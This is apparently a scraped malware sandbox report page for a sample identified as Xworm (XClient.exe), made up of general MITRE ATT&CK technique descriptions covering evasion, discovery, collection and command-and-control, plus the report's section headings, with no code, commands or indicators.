Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report XClient.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Xworm

Yara Signatures

Initial Sample

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

Windows Analysis Report
XClient.exe

Function 00007FFEC82A21F6 Relevance: 1.6, APIs: 1, Instructions: 131
COMMON